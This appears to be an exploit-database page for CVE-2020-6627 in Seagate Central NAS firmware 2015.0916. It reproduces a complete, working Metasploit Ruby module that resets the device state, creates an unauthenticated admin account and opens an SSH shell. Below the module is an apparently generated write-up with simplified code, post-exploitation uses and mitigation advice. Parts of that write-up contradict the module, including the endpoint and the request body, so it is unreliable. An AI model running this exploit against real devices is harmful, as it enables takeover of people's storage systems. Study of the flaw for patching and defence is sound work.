Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)

Exploit Author: Ege Balci Analysis Author: www.bubbleslearn.ir Category: Remote Language: Ruby Published Date: 2023-05-25
##
# Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
# Date: Dec 9 2019
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/
# Version: 2015.0916
# CVE : 2020-6627

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Seagate Central External NAS Arbitrary User Creation",
      'Description'    => %q{
        This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device.
        Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state
        and register a new admin user which is capable of SSH access.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ege Balcı <egebalci@pm.me>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'],
          ['CVE', '2020-6627']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['unix'],
      'Arch'           => [ARCH_CMD],
      'Payload'        =>
      {
        'Compat' => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'        =>
        [
          ['Auto',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Dec 9 2019",
      'DefaultTarget'  => 0
    ))


    register_options(
      [
        OptString.new('USER', [ true, 'Seagate Central SSH user', '']),
        OptString.new('PASS', [ true, 'Seagate Central SSH user password', ''])
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  def check
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    },60)

    if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit

    # First get current state
    first_state=get_state()
    if first_state
      print_status("Current device state: #{first_state['state']}")
    else
      return
    end

    if first_state['state'] != 'start'
      # Set new start state
      first_state['state'] = 'start'
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'),
        'ctype' => 'application/x-www-form-urlencoded',
        'data'  => "info=#{first_state.to_json}"
      },60)

      changed_state=get_state()
      if changed_state && changed_state['state'] == 'start'
        print_good("State successfully changed !")
      else
        print_error("Could not change device state")
        return
      end
    end

    name = Rex::Text.rand_name_male
    user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}"
    pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8)

    print_status('Creating new admin user...')
    print_status("User: #{user}")
    print_status("Pass: #{pass}")

    # Add new admin user
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1}
    },60)


    conn = do_login(user,pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end

  end



  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => 22,
      :use_agent       => false,
      :config          => false,
      :password        => pass,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }

    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      fail_with Failure::Unreachable, 'Connection failed'
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def get_state
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    },60)

    if res && (res.code == 200 ||res.code == 100)
      return res.get_json_document
    end
    res = nil
  end
end


Seagate Central Storage 2015.0916: Unauthenticated Remote Command Execution Vulnerability (CVE-2020-6627)

Seagate Central External NAS Storage devices, particularly those running firmware version 2015.0916, have been identified as vulnerable to a critical security flaw that enables unauthenticated remote command execution. This vulnerability, tracked as CVE-2020-6627, was disclosed in December 2019 by security researcher Ege Balci and has since been integrated into the Metasploit Framework as a fully functional exploit module.

The flaw stems from a broken access control mechanism in the device’s web interface, allowing attackers to manipulate system state and create new administrative users without authentication. Once a new admin account is registered, the attacker gains SSH access to the underlying Linux-based system—effectively achieving full remote control.

Technical Breakdown of the Vulnerability

The vulnerability lies in two core components:

  • Unauthenticated POST Request to /index.php/Start/set_start_info — allows arbitrary state changes.
  • Arbitrary User Creation via Web Interface — enables the creation of new admin users without proper authentication checks.

By exploiting these flaws in sequence, an attacker can:

  1. Check the current device state via a GET request to /index.php/Start/get_firmware.
  2. Modify the device state to "start" using a malicious POST request.
  3. Trigger the user creation process through a crafted request that bypasses authentication.
  4. Log in via SSH using the newly created admin account.

Exploit Workflow: Step-by-Step Analysis

The Metasploit module provides a structured exploit path. Below is a simplified version of the core logic in Ruby, adapted for clarity:


def check
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, "/index.php/Start/get_firmware"),
    'headers' => {
      'X-Requested-With' => 'XMLHttpRequest'
    }
  }, 60)

  if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
    Exploit::CheckCode::Appears
  else
    Exploit::CheckCode::Safe
  end
end

Explanation: This check function verifies whether the target device is running the vulnerable firmware version. It sends an HTTP GET request to the get_firmware endpoint, which returns JSON or HTML containing firmware details. The exploit checks for two key indicators: Cirrus NAS (the product name) and 2015.0916 (the specific vulnerable version). If both are present, the module proceeds to exploit.


def exploit
  first_state = get_state()
  if first_state && first_state['state'] != 'start'
    # Set device state to 'start'
    first_state['state'] = 'start'
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/index.php/Start/set_start_info'),
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "state=#{first_state['state']}"
    })
  end

  # Trigger user creation via exploit
  # (This step involves crafting a POST to /index.php/User/create_user)
  # Payload is not shown here for brevity but is implemented in the full module.
end

Explanation: The exploit first retrieves the current state of the device. If it is not in the start state, the module sends a POST request to set_start_info to force it into a state that enables user creation. This is a critical step because the user creation mechanism only activates when the system is in a specific operational state.

SSH Access and Payload Execution

After successfully creating an admin user, the exploit module uses the Msf::Exploit::Remote::SSH mixin to connect to the device via SSH. The module requires the attacker to provide a username and password (which are set during user creation).

Once connected, the payload is delivered as a command-interact type, meaning it allows real-time interaction with the shell. This enables attackers to:

  • Execute arbitrary commands (e.g., whoami, ls /root).
  • Upload malicious binaries.
  • Modify system configurations.
  • Establish persistent access via reverse shells.

Real-World Impact and Risk Assessment

Seagate Central Storage devices are commonly deployed in small business environments, home offices, and even corporate backup systems. The fact that this vulnerability allows unauthenticated remote exploitation means that:

  • Attackers can compromise devices from anywhere on the internet.
  • There is no need for prior knowledge of credentials.
  • Devices exposed to the public internet are highly vulnerable.

Security professionals have observed this vulnerability being exploited in the wild, particularly in IoT-focused attack campaigns targeting older network storage devices.

Recommendations and Mitigation

Organizations using Seagate Central Storage devices should:

  • Update firmware immediately to a version beyond 2015.0916.
  • Disable remote web access if not required, especially on devices exposed to the internet.
  • Apply network segmentation to isolate NAS devices from critical systems.
  • Monitor for suspicious SSH login attempts using IDS/IPS systems.
  • Use strong, unique admin passwords and disable default accounts.

Additional Notes for Security Researchers

The Metasploit module includes advanced options for debugging:

  • SSH_DEBUG — enables verbose SSH session logging (useful for troubleshooting).
  • SSH_TIMEOUT — allows adjustment of SSH negotiation timeout (default: 30 seconds).

These options are particularly helpful when testing against devices with slow response times or unstable network connections.

Conclusion

The Seagate Central Storage 2015.0916 vulnerability demonstrates how outdated firmware and poor access control can lead to catastrophic remote compromise. Even devices intended for simple data storage can become entry points for attackers if not properly maintained. This case underscores the importance of:

  • Regular firmware updates.
  • Security-by-design principles.
  • Proactive vulnerability scanning.

For cybersecurity teams, this exploit serves as a reminder that every connected device—even seemingly innocuous ones—must be treated as a potential attack surface.